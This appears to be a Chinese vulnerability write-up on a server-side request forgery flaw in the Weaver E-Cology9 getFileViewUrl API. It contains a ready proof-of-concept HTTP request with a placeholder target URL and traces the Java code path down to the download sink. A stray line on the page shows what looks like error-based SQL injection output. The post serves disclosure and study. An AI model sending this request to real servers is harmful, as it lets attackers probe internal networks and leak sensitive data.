当前位置:首页 > 代码审计 > Java > 正文内容

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

UzJu2个月前 (07-11)Java250

漏洞描述

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology getFileViewUrl 接口处存在服务器请求伪造漏洞,未经身份验证的远程攻击者利用此漏洞扫描服务器所在的内网或本地端口,获取服务的banner信息,窥探网络结构,甚至对内网或本地运行的应用程序发起攻击,获取服务器内部敏感配置,造成信息泄露。

影响泛微

  • 上海泛微网络科技股份有限公司-泛微协同管理应用平台 E-cology9
    • 已复现版本: 2303.02

漏洞复现

poc

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx poc url",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}
POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: 
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin:
Connection: keep-alive
Cookie: 
Priority: u=4
Content-Length: 135

{"file_id":"1",
"file_name":"1",
"download_url":"xxxx",
"client_type":"1",
"isCopy":"1",
"user_id":"1"}

漏洞分析

com.api.doc.mobile.fileview.web.FileViewAction#getFileViewUrl

把JSON转为Map后,给到Execute
com.api.doc.mobile.fileview.cmd.FileViewCmd#execute

其中获取的DownloadUrl,就直接通过Map获取,给到null2String3
下面主要是判断Prop下的一些配置

需要满足第一个if,需要配置中的数字为1

我这边都没有配置,所以会走下面的else,不管这里走哪个分支,都可以到对应的Sink,造成SSRF

s3这个参数是我们的可控污点。
com.api.doc.mobile.fileview.cmd.FileViewCmd#getSocialFileViewUrlForYz(java.lang.String, java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

0,1,参数不为空的情况下,则会进入这里的流程。
com.api.doc.detail.util.ImageConvertUtil#doConvertForSocial(java.lang.String, java.lang.String, int, java.util.Map<java.lang.String,java.lang.String>)

我们进入com.api.doc.detail.util.ImageConvertUtil#doConvert

在这里获取了map中的filedownloadUrl,并调用com.api.doc.detail.util.ImageConvertUtil#downloadUrl

如果上述配置是1的情况下
在com.api.doc.mobile.fileview.cmd.FileViewCmd#execute进入


调用链路可能就短一点了。

修复方案

1、升级泛微版本

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/85.java

分享给朋友:

相关文章

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

[入门]SpringBoot-MyBatis-luckwheel-master开源代码审计

环境搭建Github地址: GitHub - s6056826/luckwheel: 国产开源幸运大转盘管理系统,积分,倍率,奖品兑换CSDN介绍地址: 开源大转盘抽奖源码,带后台管理,可管理奖品和奖品中奖概率,java语言实现飞吧菜鸟了的...

【学习】某OA代码审计笔记

【学习】某OA代码审计笔记

环境搭建Windows搭建推荐使用Windows搭建,因为idea搭建很麻烦,而且报错特别多,Windows是一键部署一键安装,安装好了之后会提示系统已经到期了,去setup看一眼到6月1号,不过没事,这里改系统时间就可以了成功登录...

JSP后门分析

JSP后门分析

环境部署首先启动一个tomcat的环境先把这里的代码跑起来,访问tomcat在docker中的tomcat/conf中可以看到账号密码将JSP打包为war包 jar -cvf 1.war 1.jsp 随后上传就部署好了 静态代码分析大...

洞态IAST检测优化:Fel表达式注入

洞态IAST检测优化:Fel表达式注入

一、简介 Fel是开放的,引擎执行中的多个模块都可以扩展或替换。Fel的执行主要是通过函数实现,运算符(+、-等都是Fel函数),所有这些函数都是可以替换的,扩展函数也非常简单。 Fel有双引擎,同时支持解释执行和编译执行。可以根据...

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE基本信息 Gitee地址:https://gitee.com/bestfeng/oa_git_free部署文档:http://partner.yimihome...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。